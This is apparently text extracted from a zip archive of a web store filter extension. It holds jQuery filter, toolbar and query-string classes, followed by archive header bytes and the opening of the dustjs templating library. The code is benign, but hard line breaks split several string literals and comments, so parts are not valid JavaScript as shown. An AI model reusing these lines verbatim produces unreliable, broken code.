					return vals.indexOf (this.value) != -1
				}).prop('checked', true).trigger('change');
				break;
      case 'single':
      case 'rating':
        self.$item.find('input[value="' + value +
'"]').prop('checked',
true).trigger('change');
        break;

			case 'dropdown':
				if (value.search(/,/) !== -1) {
					var _v = value.split(',');
					for (var x in _v) {
						self.$item.find('select
option[value="'+(_v[x])+'"]').prop('selected',
true);
						self.$item.find('select
option[value="'+(_v[x])+'"]').attr('selected',
true);
					}
					self.$item.find('select').trigger('change');
				} else
					self.$item.find('select').val(value).trigger('change');
				break;

			case 'list':
				break;
		}		
	}
});
var LNFilterItem = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterItem';

	self.options = null;
	self.defaultOptions = {
		class: 'filter-item'
	};


	self.updateRender = function () {
		// update textnode to replce counter
    if(self.$item != null) {
     
self.$item.find(":not(iframe)").addBack().contents().filter(function
() {
        return this.nodeType == 3;
      }).each(function () {
        var $this = $(this);
        $this.replaceWith($this.text().replace(/\(.*\)$/, '(' +
self.mcount + ')'));
      });

      // add empty class into empty group
      if (!self.mcount) self.$item.addClass('empty');
      else self.$item.removeClass('empty');

      // call super
      self.super.updateRender();
    }
	}

	self.reset = function () {
		if (self.parent.options.type == 'dropdown' &&
self.$item.parent().attr('multiple') !== undefined) {
			self.$item.prop('selected', false);
			self.$item.parent().trigger('change');
		} else {
			if (self.parent.options.type == 'multiple' ||
self.parent.options.type == 'size' || self.parent.options.type ==
'color' || self.parent.options.type == 'media'){
				self.$item.find('input').prop('checked',
false).trigger('change');
			} else {
				self.parent.reset();
			}
		}
	}
});

var LNFilterColor = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterColor';

	self.options = null;
	self.defaultOptions = {
		template: 'filter.color',
		class: 'filter-input filter-field filter-item',
		match: function (item, field, val) {
			return null;
		}
	};

	self.afterRender = function () {
		
	}

	self.reset = function () {
		
	}

	self.setValue = function (value) {
		
	}
});

var LNFilterSize = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterSize';

	self.options = null;
	self.defaultOptions = {
		template: 'filter.size',
		class: 'filter-input filter-field filter-item',
		match: function (item, field, val) {
			return null;
		}
	};

	self.afterRender = function () {
		
	}

	self.reset = function () {
		
	}

	self.setValue = function (value) {
		
	}
});

var LNFilterMedia = LNBase.extend(function() {
  var self = this,
  $ = jQuery;

  self.type = 'LNFilterMedia';

  self.options = null;

  self.defaultOptions = {
	template: 'filter.media',
	class: 'filter-input filter-field filter-item',
	match: function (item, field, val) {
	  return null;
	}
  };
});


var LNFilterDate = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterDate';

	self.options = null;

	self.defaultOptions = {
		template: 'filter.date',
		class: 'filter-input filter-field',
		match: function (item, field, val) {
			var from, to;
			// prevent error when the item do not had value on this field.
			if (item.getField(field) == undefined == true || item.getField(field) ==
false || item.getField(field) == undefined || item.getField(field) ==
'undefined') return null; 

			from = self.$item.find('.jafrom').val(),
			to = self.$item.find('.jato').val();
			from = new Date(from).getTime() / 1000;
			to = new Date(to).getTime() / 1000 + 24 * 60 * 60;
			var itemval = item.getField(field)[0];
			var timeoffset = (new Date()).getTimezoneOffset();
			itemval = itemval - timeoffset * 60;
			return (itemval >= from && itemval < to);
		}
	};
	
	self.afterRender = function () {
		self.$item.find('input').each(function(i, e){
			$(this).datepicker({
				changeMonth: true,
				changeYear: true,
				dateFormat: "yy-mm-dd",
				onSelect : function(s, o){
					var from = self.$item.find('.jafrom').val(),
					to = self.$item.find('.jato').val();
					if (from !== '' && to !== '') {
						$(this).trigger('change');
					} 
				}
			});
		});
	}

	self.reset = function () {
		self.$item.find('input').each(function(i, e){
			$(e).val('').trigger('change');
		});
	}	

	self.setValue = function (value) {
		var vals = value.split(',');
		self.$item.find('input').each(function(i, e){
			$(e).val(vals[i]);
			$(e).trigger('change');
		});

	}
});

var LNFilterNumberrange = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterNumberrange';

	self.options = null;

	self.defaultOptions = {
		template: 'filter.txtrange',
		class: 'filter-input filter-field',
		match: function (item, field, val) {
			var from, to;
			// prevent error when the item do not had value on this field.
			if (item.getField(field) == undefined == true 
			    || item.getField(field) == false 
			    || item.getField(field) == undefined 
			    || item.getField(field) == 'undefined'
			) return null; 

			from = (self.$item.find('.jafrom').val()),
			to = (self.$item.find('.jato').val());
			if (from === "") from = 0;
			else from = parseInt(from);
			if (to === "") to = 9007199254740993; // MAX Integer in js.
			else to = parseInt(to);
			var itemval = parseInt(item.getField(field));
			return (itemval >= from && itemval <= to);
		}
	};
	
	self.afterRender = function () {
		self.$item.find('input').each(function(i, e){
// 			$(this).datepicker({
// 				changeMonth: true,
// 				changeYear: true,
// 				dateFormat: "yy-mm-dd",
// 				onSelect : function(s, o){
// 					var from = self.$item.find('.jafrom').val(),
// 					to = self.$item.find('.jato').val();
// 					if (from !== '' && to !== '') {
// 						$(this).trigger('change');
// 					} 
// 				}
// 			});
		});
	}

	self.reset = function () {
		self.$item.find('input').each(function(i, e){
			$(e).val('').trigger('change');
		});
	}	

	self.setValue = function (value) {
		var vals = value.split(',');
		self.$item.find('input').each(function(i, e){
			$(e).val(vals[i]);
			$(e).trigger('change');
		});

	}
});

var LNFilterRating = LNBase.extend(function(){
  var $ = jQuery;
  var self = this;
  this.type = 'LNFilterRating';
  this.options = null;

  this.defaultOptions = {
    template: 'filter.rating',
    class: 'filter-field filter-rating',
    match: function(item, field, val) {
      // self.handleMatchedItems(item, val)
    }
  }

  self.afterRender = function () {

  }

  self.reset = function () {
  }

  self.setValue = function (value) {}

  self.triggerChange = function () {

  }
})

var LNFilterRange = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterRange';

	self.options = null;
	self.defaultOptions = {
		template: 'filter.range',
		class: 'filter-range filter-field',
		min: 0,
		max: 0,
		match: function (item, field, val) {
			var itemVal = item.getField(field);
			var v;
			if (Array.isArray(itemVal)) {
				for (var i = 0; i < itemVal.length; i++) {
					v = self.cleanRangeValue(itemVal[i]);
					if (v >= val[0] && (val[1] == self.options.max || v <=
val[1])) {
						return true;
					}
				}
			} else {
				v = self.cleanRangeValue(itemVal);
				return (v >= val[0] && (val[1] == self.options.max || v
<= val[1]));
			}
			return false;
		}
	};

	self.afterRender = function () {
		self.$slider = self.$item.find('.range-item');
		if (self.$slider.length) {
			self.$slider[0].slide = null;
			self.$slider.slider({
				range: true,
				min: self.options.min,
				max: self.options.max,
				isRTL: true, // RTL
				values: [ self.options.min, self.options.max ],
				slide: function( event, ui ) {
					self.$item.find('.range-value0').html(ui.values[0]);
					self.$item.find('.range-value1').html(ui.values[1]);
				},
				change: function( event, ui ) {
					clearTimeout(self.changeTimeout);
					self.changeTimeout = setTimeout(function(){self.triggerChange();},
100);
					self.$item.find('.range-value0').html(ui.values[0]);
					self.$item.find('.range-value1').html(ui.values[1]);
				}
			});
			// first value
			self.$item.find('.range-value0').html(self.options.min);
			self.$item.find('.range-value1').html(self.options.max);
		}
	}

	self.reset = function () {
		self.$slider.slider( "values", [self.options.min,
self.options.max]);
	}

	self.setValue = function (value) {
		self.$slider.slider( "values", value.split(','));
	}

	self.triggerChange = function () {
		var values = self.$slider.slider("values");
		self.$slider.val((values[0] == self.options.min && values[1] ==
self.options.max) ? null : values);
		var e = $.Event( "change", { target: self.$slider[0] } );
		self.$slider.trigger('change', e);
	}

	self.toString = function () {
		if (self.options.toString) self.options.toString.apply(self);
		return self.$slider.slider("values").join (' - ');
	}
});
var LNFilterValue = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNFilterValue';

	self.options = null;
 
	self.defaultOptions = {
		template: 'filter.value',
		class: 'filter-input filter-field',
		match: function (item, field, val) {
			if (item.getField(field) == undefined || item.getField(field) ==
'undefined') return null; // prevent error when the item do not
had value on this field.
			val = val.replace(/([^a-zA-Z0-9 ])/g, '\\$1').toLowerCase();
// addslashes to all special characters.
			var specialChar = {
				'a':'(a|á|à|ả|ã|ạ|ă|ắ|ằ|ẵ|ặ|ẵ|â|ấ|ầ|ẩ|ẫ|ậ|Ä|Å|Æ)'.toLowerCase(),
				'o':'(o|ó|ò|ỏ|õ|ọ|ơ|ớ|ờ|ở|ợ|ỡ|ô|ố|ồ|ổ|ỗ|ộ|Ö|Ø)'.toLowerCase(),
				'u':'(u|ú|ù|ủ|ũ|ụ|ư|ứ|ừ|ử|ự|ữ|Û|Ü)'.toLowerCase(),
				'y':'(y|ý|ỳ|ỷ|ỹ|ỵ|ÿ)'.toLowerCase(),
				'i':'(i|í|ì|ỉ|ĩ|ị|Î|Ï|ı)'.toLowerCase(),
				'e':'(e|é|è|ẻ|ẽ|ẹ|ê|ế|ề|ễ|ệ|ể|Ë)'.toLowerCase(),
				'c':'(c|Ç)'.toLowerCase(),
				'd':'(d|đ)'.toLowerCase(),
				'n':'(n|Ñ)'.toLowerCase(),
				'g':'(g|ğ)'.toLowerCase(),
				's':'(s|ş)'.toLowerCase()
			};
			for (var x in specialChar) {
				val = val.replace(new RegExp(x, 'g'), specialChar[x]);
			}
			var searchSTR = item.getField(field).toLowerCase();
			return searchSTR.match(new RegExp(val, 'i'));
		}
	};

	self.reset = function () {
		self.$item.find('input').val('').trigger('change');
	}	

	self.setValue = function (value) {
		self.$item.find('input').val(value).trigger('change');
	}

	self.afterRender = function () {
		if (navigator.userAgent.match(/Trident/)) {
			self.$item.find('input').on('keyup', function(e) {
				if (e.keyCode === 13) {
					jQuery(this).trigger('change');
				}
			});
		}
	}	
});

var LNItem = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNItem';

	self.options = null;
	self.defaultOptions = {
		class: 'ln-item'
	};
});
var LNQueryString = Class.extend(function(){
	// private variable
	var self = this,
		$ = jQuery;
	self.qs = {};

	self.curHash = location.hash;

	self.cache = [];

	self.defaultValues = {};

	self.load = function () {
		// handle first visit, reselect
		var qs = {};
		location.hash.substr(1).split('&').forEach(function(nvp){
			var nv = nvp.split('=');
			if (nv.length == 2) qs[nv[0]] = decodeURIComponent(nv[1]);
		});
		self.qs = qs;

		// register event to update update url hash
		$(document).on('afterRender', function (e) {
			var hash = [], page = 0;
			for (var name in self.qs) {
				if (name === 'page') {
					page = self.qs[name];
					continue;
				}
				hash.push(name + '=' + encodeURIComponent(self.qs[name]));
			}
			var curHash = hash.slice(0);
			if (page) curHash.push('page=' + page);
			curHash = curHash.length ? '#' +
curHash.join('&') : '';
			// first load handling for empty values selected
			var btnSearch = $('#jamegafilter-search-btn');

			if (btnSearch.length &&
btnSearch.attr('href').includes('javascript:void')){
				btnSearch.attr('href', filter_url + curHash);
			}
			// handle when values selected
			if (e.lntype === 'LNToolbar' || e.lntype ===
'LNSelected') {
				if (self.curHash !== curHash) { // only update url once
					self.curHash = curHash;
					if (btnSearch.length) {
						var surl = filter_url + curHash;
						btnSearch.attr('href', surl );
					} else {
						history.replaceState(null, null, location.origin + location.pathname
+ curHash);	
						// update href for page links
						var baseLink = '#' + (hash.length ?
hash.join('&') + '&' : '');
						$('a.page').each(function(){
							var $a = $(this),
								page = $a.data('value');
							$a.attr('href', baseLink + 'page=' + page);
						})
					}
				}
			}
		})
	}

	self.set = function (name, value) {
		if (value) {
			self.qs[name] = value;
		} else {
			delete self.qs[name];
		}
	}

	self.setDefault = function (defaultValues) {
		self.defaultValues = defaultValues;
	}
});
var LNSelected = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNSelected';

	self.options = null;
	self.defaultOptions = {
		template: 'filter-selected',
		class: 'selected-filters'
	};

	self.selectedFilters = null;
	self.values = {};

	self.filterFields = [];

	self.setSelectedFilters = function (selectedFilters) {
		self.selectedFilters = selectedFilters;
	}

	self.setFilter = function (lnFilter) {
		self.lnFilter = lnFilter;
		self.filterFields = [];
		for (var gid in lnFilter.items) {
			var fgroup = lnFilter.getItem(gid),
				field = fgroup.options.field;
			self.filterFields.push(field);
		}
	}

	self.updateRender = function () {
		self.render();
	}

	self.beforeRender = function () {
		// parse selected filters to display
		self.values = {};
		for(var prop in self.selectedFilters) {
			var fitem = self.selectedFilters[prop], field, sval, rval, fval;
			if (fitem.is('LNFilterItem')) {
				fval = fitem.parent.options.field;
				field = fitem.parent.options.title;
				rval = fitem.options.value;
				sval = fitem.options.frontend_value;
				if (fitem.options.name == 'attr.cat.value' ||
fitem.options.name == 'attr.category.value' || fitem.options.name
== 'attr.tag.value')
					sval = sval.replace(/^(.*)?\&raquo\; /,
'').replace(/^(.*)?» /, '');

				if (fitem.options.template === 'filter.color-item') {
					if (JAnameColor[sval.toLowerCase().trim()] != undefined) {
						sval = '<i class="fa fa-circle-o"
style="color:'+JAnameColor[sval.toLowerCase().trim()]+';"
aria-hidden="true"></i>';
					} else {
						sval = '<i class="fa fa-circle-o"
style="color:'+(sval.toLowerCase().trim().indexOf('#')
=== -1 ? '#' :
'')+sval.toLowerCase().trim()+';"
aria-hidden="true"></i>';
					}
				} else if (fitem.options.template === 'filter.media-item') {
					sval= '<img class="img-selected"
src="'+JABaseUrl + '/' +sval+'" />';
				}

			} else if (fitem.is('LNFilterRange')) {
				fval = fitem.options.field;
				field = fitem.options.title;
				sval = fitem.toString();
				rval = fitem.value;
			} else if (fitem.is('LNFilterDate') ||
fitem.is('LNFilterNumberrange')) {
				fval = fitem.options.field;
				field = fitem.options.title;
				var from = fitem.$item.find('.jafrom').val(),
				to = fitem.$item.find('.jato').val();
				sval = from+' '+jamegafilter_to+' '+ to;
				rval = from+','+to;
			} else {
				fval = fitem.options.field;
				field = fitem.options.title;
				rval = fitem.value;
				sval = rval;
			}
			if (!self.values[fval]) self.values[fval] = [];
			if (fitem.options.template === 'filter.color-item' 
			    || fitem.options.template === 'filter.media-item'
			    || (fitem.options.frontend_value !== undefined &&
String(fitem.options.frontend_value).search(/k-icon-document/) !== -1)
			)
				self.values[fval].push({prop: prop, name: field, value: sval,
raw_value: rval});
			else
				self.values[fval].push({prop: prop, name: field, value:
dust.escapeHtml(sval), raw_value: rval});
		}

		// update url hash
		if (self.registeredClearFilterEvent) {
			var hash = [];
			self.filterFields.forEach(function(field) {
				var val = null;
				if (self.values[field]) {
					var vals = [];
					self.values[field].forEach(function(val){
						vals.push(val.raw_value);
					});
					val = vals.join(',');
				}

				self.setQS(field, val);
			})
		}

		//self.super.beforeRender();
	}

	self.afterRender = function () {
		if (Object.keys(self.values).length) 
			self.$item.parent().removeClass ('empty');
		else 
			self.$item.parent().addClass ('empty');
		self.super.afterRender();
		self.registerClearFilter();
	}

	self.registerClearFilter = function () {
		if (self.registeredClearFilterEvent) return;
		self.registeredClearFilterEvent = true;
		// listening click on filter-clear
		$(self.options.container).on('click', function (e) {
			var $item = $(e.target);
			if ($item.is ('.clear-filter')) {
				var lnprop = $item.data('lnprop'),
					item = self.selectedFilters[lnprop];
				item.reset();
			}
			if ($item.is ('.clear-all-filter')) {
				self.resetAll();
			}
		})
	}

	self.resetAll = function () {
		for(var prop in self.selectedFilters) {
			var fitem = self.selectedFilters[prop];
			fitem.reset();
		}
	}

}) ;
var LNToolbar = LNBase.extend(function() {
	// private variable
	var self = this,
		$ = jQuery;

	self.type = 'LNToolbar';

	self.options = null;
	self.defaultOptions = {
		template: 'product-toolbar',
		class: 'products-toolbar',
		rerenderWhenUpdate: true
	};

	self.lnItems = null;

	self.startIdx = 0;
	self.endIdx = 0;
	self.totalItems = 0;
	self.page = 0;
	self.itemPerPage = 0;
	self.nextPage = null;
	self.sortDir = '';

	self.constructor = function (options) {
		self.super.constructor(options);
		// get from config
		self.sortByOptions = self.options.config.sortByOptions;
		self.productsPerPageAllowed =
self.options.config.productsPerPageAllowed;
		self.itemPerPage = self.productsPerPageAllowed[0];
		self.autopage = self.options.config.autopage;
	}

	self.beforeRender = function () {
		self.startIdx = self.lnItems.matchedIds.length ?
self.lnItems.startIdx:0;
		self.endIdx = self.lnItems.endIdx;
		self.totalItems = self.lnItems.matchedIds.length;
		self.curPage = parseInt(self.lnItems.page);
		self.itemPerPage = self.lnItems.itemPerPage;
		// calculate pages, prevPage, nextPage
		var pages = Math.ceil(self.totalItems / self.itemPerPage);
		self.startPage = 1;
		self.endPage = pages;
		self.prevPage = self.curPage > 1 ? self.curPage - 1 : 1;
		self.nextPage = self.curPage < pages ? self.curPage + 1 : pages;

		self.pages = null;
		if (pages > 1) {
			self.pages = [];
			var start, end;
			start = self.curPage - 2;
			if (start < 1) start = 1;
			end = 5 + start;
			if (end > pages) {
				end = pages;
				start = end - 5;
				if (start < 1) start = 1;
			}

			for (var i=start; i<=end; i++) self.pages.push(i);
		}
		// if (self.lnItems.sortField.search('.value') !== -1)
		// 	self.lnItems.sortField =
self.lnItems.sortField.replace('.value',
'.frontend_value');
		self.sortField = self.lnItems.sortField;
		self.sortDir = self.lnItems.sortDir == 'desc' ? 'asc'
: 'desc';
	}

	// Filter base on list data items
	self.addItems = function (lnItems) {
		self.lnItems = lnItems;
	}

	self.setPage = function (p) {
		self.page = p;
	}

	self.afterRender = function () {
		if (!self.actionHandled) {
			self.actionHandled = true;
			self.$item.parent().on('click', function (e) {
				var $btn = $(e.target).closest('[data-action]'),
					action = 'do' + $btn.data('action');
				if (!self[action]) return false;
				var value = $btn.data('value');
				self[action](value);
				return false;
			}).on('change', function (e) {
				var $elem = $(e.target);
				if ($elem.prop('tagName') == 'SELECT') {
					if (jQuery($elem).hasClass('sorter-options'))
						addFilterWarperClass(jQuery($elem));
					var $btn = $elem.find(":selected"),
						action = 'do' + $btn.data('action');
					if (!self[action]) return false;
					var value = $btn.data('value');
					self[action](value);
					return false;
				}
			});
		}
	}

	self.dopage = function (value) {
		if (value != self.lnItems.page){
			self.lnItems.setPage(value).updateRender();
		}
	}

	self.dosort = function (value) {
		if (value != self.lnItems.sortField) {
			self.lnItems.sort(value).setMatchedItems(self.lnItems.matchedIds).updateRender();
		}
	}

	self.dosortdir = function (value) {
		var sorDir = value == 'desc' ? 'desc' :
'asc';
		self.lnItems.sort(undefined,
sorDir).setMatchedItems(self.lnItems.matchedIds).updateRender();
	}

	self.dolimiter = function (value) {
		if (value != self.lnItems.itemPerPage) {
			self.lnItems.setLimiter(value).updateRender();
		}
	}

	self.load = function () {
		var qs = self.getQS();
		// set default toolbar value
		qs.setDefault({
			page: 1,
			limiter: self.productsPerPageAllowed[0],
			sort: self.sortByOptions[0].field,
			sortdir: 'desc'
		})
		
		//update query string for default sorting
		if ( !qs.qs.sort ) qs.qs.sort = ja_default_sort;
		if ( !qs.qs.sortdir ) qs.qs.sortdir = ja_sort_by;
		
		for (var name in qs.qs) {
			var value = qs.qs[name],
				action = 'do' + name;
			if (self[action]) {
				self[action](value);
			}
		}
	}

});PK�v�[fN�R�R�assets/js/libs.jsnu�[���/*!
dustjs-linkedin - v2.7.2
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
(function (root, factory) {
  if (typeof define === 'function' && define.amd
&& define.amd.dust === true) {
    define('dust.core', [], factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.dust = factory();
  }
}(this, function() {
  var dust = {
        "version": "2.7.2"
      },
      NONE = 'NONE', ERROR = 'ERROR', WARN =
'WARN', INFO = 'INFO', DEBUG = 'DEBUG',
      EMPTY_FUNC = function() {};

  dust.config = {
    whitespace: false,
    amd: false,
    cjs: false,
    cache: true
  };

  // Directive aliases to minify code
  dust._aliases = {
    "write": "w",
    "end": "e",
    "map": "m",
    "render": "r",
    "reference": "f",
    "section": "s",
    "exists": "x",
    "notexists": "nx",
    "block": "b",
    "partial": "p",
    "helper": "h"
  };

  (function initLogging() {
    /*global process, console*/
    var loggingLevels = { DEBUG: 0, INFO: 1, WARN: 2, ERROR: 3, NONE: 4 },
        consoleLog,
        log;

    if (typeof console !== 'undefined' && console.log) {
      consoleLog = console.log;
      if(typeof consoleLog === 'function') {
        log = function() {
          consoleLog.apply(console, arguments);
        };
      } else {
        log = function() {
          consoleLog(Array.prototype.slice.apply(arguments).join('
'));
        };
      }
    } else {
      log = EMPTY_FUNC;
    }

    /**
     * Filters messages based on `dust.debugLevel`.
     * This default implementation will print to the console if it exists.
     * @param {String|Error} message the message to print/throw
     * @param {String} type the severity of the message(ERROR, WARN, INFO,
or DEBUG)
     * @public
     */
    dust.log = function(message, type) {
      type = type || INFO;
      if (loggingLevels[type] >= loggingLevels[dust.debugLevel]) {
        log('[DUST:' + type + ']', message);
      }
    };

    dust.debugLevel = NONE;
    if(typeof process !== 'undefined' && process.env
&& /\bdust\b/.test(process.env.DEBUG)) {
      dust.debugLevel = DEBUG;
    }

  }());

  dust.helpers = {};

  dust.cache = {};

  dust.register = function(name, tmpl) {
    if (!name) {
      return;
    }
    tmpl.templateName = name;
    if (dust.config.cache !== false) {
      dust.cache[name] = tmpl;
    }
  };

  dust.render = function(nameOrTemplate, context, callback) {
    var chunk = new Stub(callback).head;
    try {
      load(nameOrTemplate, chunk, context).end();
    } catch (err) {
      chunk.setError(err);
    }
  };

  dust.stream = function(nameOrTemplate, context) {
    var stream = new Stream(),
        chunk = stream.head;
    dust.nextTick(function() {
      try {
        load(nameOrTemplate, chunk, context).end();
      } catch (err) {
        chunk.setError(err);
      }
    });
    return stream;
  };

  /**
   * Extracts a template function (body_0) from whatever is passed.
   * @param nameOrTemplate {*} Could be:
   *   - the name of a template to load from cache
   *   - a CommonJS-compiled template (a function with a `template`
property)
   *   - a template function
   * @param loadFromCache {Boolean} if false, don't look in the cache
   * @return {Function} a template function, if found
   */
  function getTemplate(nameOrTemplate, loadFromCache/*=true*/) {
    if(!nameOrTemplate) {
      return;
    }
    if(typeof nameOrTemplate === 'function' &&
nameOrTemplate.template) {
      // Sugar away CommonJS module templates
      return nameOrTemplate.template;
    }
    if(dust.isTemplateFn(nameOrTemplate)) {
      // Template functions passed directly
      return nameOrTemplate;
    }
    if(loadFromCache !== false) {
      // Try loading a template with this name from cache
      return dust.cache[nameOrTemplate];
    }
  }

  function load(nameOrTemplate, chunk, context) {
    if(!nameOrTemplate) {
      return chunk.setError(new Error('No template or template name
provided to render'));
    }

    var template = getTemplate(nameOrTemplate, dust.config.cache);

    if (template) {
      return template(chunk, Context.wrap(context, template.templateName));
    } else {
      if (dust.onLoad) {
        return chunk.map(function(chunk) {
          // Alias just so it's easier to read that this would always
be a name
          var name = nameOrTemplate;
          // Three possible scenarios for a successful callback:
          //   - `require(nameOrTemplate)(dust); cb()`
          //   - `src = readFile('src.dust'); cb(null, src)`
          //   - `compiledTemplate = require(nameOrTemplate)(dust);
cb(null, compiledTemplate)`
          function done(err, srcOrTemplate) {
            var template;
            if (err) {
              return chunk.setError(err);
            }
            // Prefer a template that is passed via callback over the
cached version.
            template = getTemplate(srcOrTemplate, false) ||
getTemplate(name, dust.config.cache);
            if (!template) {
              // It's a template string, compile it and register under
`name`
              if(dust.compile) {
                template = dust.loadSource(dust.compile(srcOrTemplate,
name));
              } else {
                return chunk.setError(new Error('Dust compiler not
available'));
              }
            }
            template(chunk, Context.wrap(context,
template.templateName)).end();
          }

          if(dust.onLoad.length === 3) {
            dust.onLoad(name, context.options, done);
          } else {
            dust.onLoad(name, done);
          }
        });
      }
      return chunk.setError(new Error('Template Not Found: ' +
nameOrTemplate));
    }
  }

  dust.loadSource = function(source) {
    /*jshint evil:true*/
    return eval(source);
  };

  if (Array.isArray) {
    dust.isArray = Array.isArray;
  } else {
    dust.isArray = function(arr) {
      return Object.prototype.toString.call(arr) === '[object
Array]';
    };
  }

  dust.nextTick = (function() {
    return function(callback) {
      setTimeout(callback, 0);
    };
  })();

  /**
   * Dust has its own rules for what is "empty"-- which is not
the same as falsy.
   * Empty arrays, null, and undefined are empty
   */
  dust.isEmpty = function(value) {
    if (value === 0) {
      return false;
    }
    if (dust.isArray(value) && !value.length) {
      return true;
    }
    return !value;
  };

  dust.isEmptyObject = function(obj) {
    var key;
    if (obj === null) {
      return false;
    }
    if (obj === undefined) {
      return false;
    }
    if (obj.length > 0) {
      return false;
    }
    for (key in obj) {
      if (Object.prototype.hasOwnProperty.call(obj, key)) {
        return false;
      }
    }
    return true;
  };

  dust.isTemplateFn = function(elem) {
    return typeof elem === 'function' &&
           elem.__dustBody;
  };

  /**
   * Decide somewhat-naively if something is a Thenable.
   * @param elem {*} object to inspect
   * @return {Boolean} is `elem` a Thenable?
   */
  dust.isThenable = function(elem) {
    return elem &&
           typeof elem === 'object' &&
           typeof elem.then === 'function';
  };

  /**
   * Decide very naively if something is a Stream.
   * @param elem {*} object to inspect
   * @return {Boolean} is `elem` a Stream?
   */
  dust.isStreamable = function(elem) {
    return elem &&
           typeof elem.on === 'function' &&
           typeof elem.pipe === 'function';
  };

  // apply the filter chain and return the output string
  dust.filter = function(string, auto, filters, context) {
    var i, len, name, filter;
    if (filters) {
      for (i = 0, len = filters.length; i < len; i++) {
        name = filters[i];
        if (!name.length) {
          continue;
        }
        filter = dust.filters[name];
        if (name === 's') {
          auto = null;
        } else if (typeof filter === 'function') {
          string = filter(string, context);
        } else {
          dust.log('Invalid filter `' + name + '`',
WARN);
        }
      }
    }
    // by default always apply the h filter, unless asked to unescape with
|s
    if (auto) {
      string = dust.filters[auto](string, context);
    }
    return string;
  };

  dust.filters = {
    h: function(value) { return dust.escapeHtml(value); },
    j: function(value) { return dust.escapeJs(value); },
    u: encodeURI,
    uc: encodeURIComponent,
    js: function(value) { return dust.escapeJSON(value); },
    jp: function(value) {
      if (!JSON) {dust.log('JSON is undefined; could not parse `'
+ value + '`', WARN);
        return value;
      } else {
        return JSON.parse(value);
      }
    }
  };

  function Context(stack, global, options, blocks, templateName) {
    if(stack !== undefined && !(stack instanceof Stack)) {
      stack = new Stack(stack);
    }
    this.stack = stack;
    this.global = global;
    this.options = options;
    this.blocks = blocks;
    this.templateName = templateName;
  }

  dust.makeBase = dust.context = function(global, options) {
    return new Context(undefined, global, options);
  };

  /**
   * Factory function that creates a closure scope around a
Thenable-callback.
   * Returns a function that can be passed to a Thenable that will resume a
   * Context lookup once the Thenable resolves with new data, adding that
new
   * data to the lookup stack.
   */
  function getWithResolvedData(ctx, cur, down) {
    return function(data) {
      return ctx.push(data)._get(cur, down);
    };
  }

  Context.wrap = function(context, name) {
    if (context instanceof Context) {
      return context;
    }
    return new Context(context, {}, {}, null, name);
  };

  /**
   * Public API for getting a value from the context.
   * @method get
   * @param {string|array} path The path to the value. Supported formats
are:
   * 'key'
   * 'path.to.key'
   * '.path.to.key'
   * ['path', 'to', 'key']
   * ['key']
   * @param {boolean} [cur=false] Boolean which determines if the search
should be limited to the
   * current context (true), or if get should search in parent contexts as
well (false).
   * @public
   * @returns {string|object}
   */
  Context.prototype.get = function(path, cur) {
    if (typeof path === 'string') {
      if (path[0] === '.') {
        cur = true;
        path = path.substr(1);
      }
      path = path.split('.');
    }
    return this._get(cur, path);
  };

  /**
   * Get a value from the context
   * @method _get
   * @param {boolean} cur Get only from the current context
   * @param {array} down An array of each step in the path
   * @private
   * @return {string | object}
   */
  Context.prototype._get = function(cur, down) {
    var ctx = this.stack || {},
        i = 1,
        value, first, len, ctxThis, fn;

    first = down[0];
    len = down.length;

    if (cur && len === 0) {
      ctxThis = ctx;
      ctx = ctx.head;
    } else {
      if (!cur) {
        // Search up the stack for the first value
        while (ctx) {
          if (ctx.isObject) {
            ctxThis = ctx.head;
            value = ctx.head[first];
            if (value !== undefined) {
              break;
            }
          }
          ctx = ctx.tail;
        }

        // Try looking in the global context if we haven't found
anything yet
        if (value !== undefined) {
          ctx = value;
        } else {
          ctx = this.global && this.global[first];
        }
      } else if (ctx) {
        // if scope is limited by a leading dot, don't search up the
tree
        if(ctx.head) {
          ctx = ctx.head[first];
        } else {
          // context's head is empty, value we are searching for is
not defined
          ctx = undefined;
        }
      }

      while (ctx && i < len) {
        if (dust.isThenable(ctx)) {
          // Bail early by returning a Thenable for the remainder of the
search tree
          return ctx.then(getWithResolvedData(this, cur, down.slice(i)));
        }
        ctxThis = ctx;
        ctx = ctx[down[i]];
        i++;
      }
    }

    if (typeof ctx === 'function') {
      fn = function() {
        try {
          return ctx.apply(ctxThis, arguments);
        } catch (err) {
          dust.log(err, ERROR);
          throw err;
        }
      };
      fn.__dustBody = !!ctx.__dustBody;
      return fn;
    } else {
      if (ctx === undefined) {
        dust.log('Cannot find reference `{' +
down.join('.') + '}` in template `' +
this.getTemplateName() + '`', INFO);
      }
      return ctx;
    }
  };

  Context.prototype.getPath = function(cur, down) {
    return this._get(cur, down);
  };

  Context.prototype.push = function(head, idx, len) {
    if(head === undefined) {
      dust.log("Not pushing an undefined variable onto the
context", INFO);
      return this;
    }
    return this.rebase(new Stack(head, this.stack, idx, len));
  };

  Context.prototype.pop = function() {
    var head = this.current();
    this.stack = this.stack && this.stack.tail;
    return head;
  };

  Context.prototype.rebase = function(head) {
    return new Context(head, this.global, this.options, this.blocks,
this.getTemplateName());
  };

  Context.prototype.clone = function() {
    var context = this.rebase();
    context.stack = this.stack;
    return context;
  };

  Context.prototype.current = function() {
    return this.stack && this.stack.head;
  };

  Context.prototype.getBlock = function(key) {
    var blocks, len, fn;

    if (typeof key === 'function') {
      key = key(new Chunk(), this).data.join('');
    }

    blocks = this.blocks;

    if (!blocks) {
      dust.log('No blocks for context `' + key + '` in
template `' + this.getTemplateName() + '`', DEBUG);
      return false;
    }

    len = blocks.length;
    while (len--) {
      fn = blocks[len][key];
      if (fn) {
        return fn;
      }
    }

    dust.log('Malformed template `' + this.getTemplateName() +
'` was missing one or more blocks.');
    return false;
  };

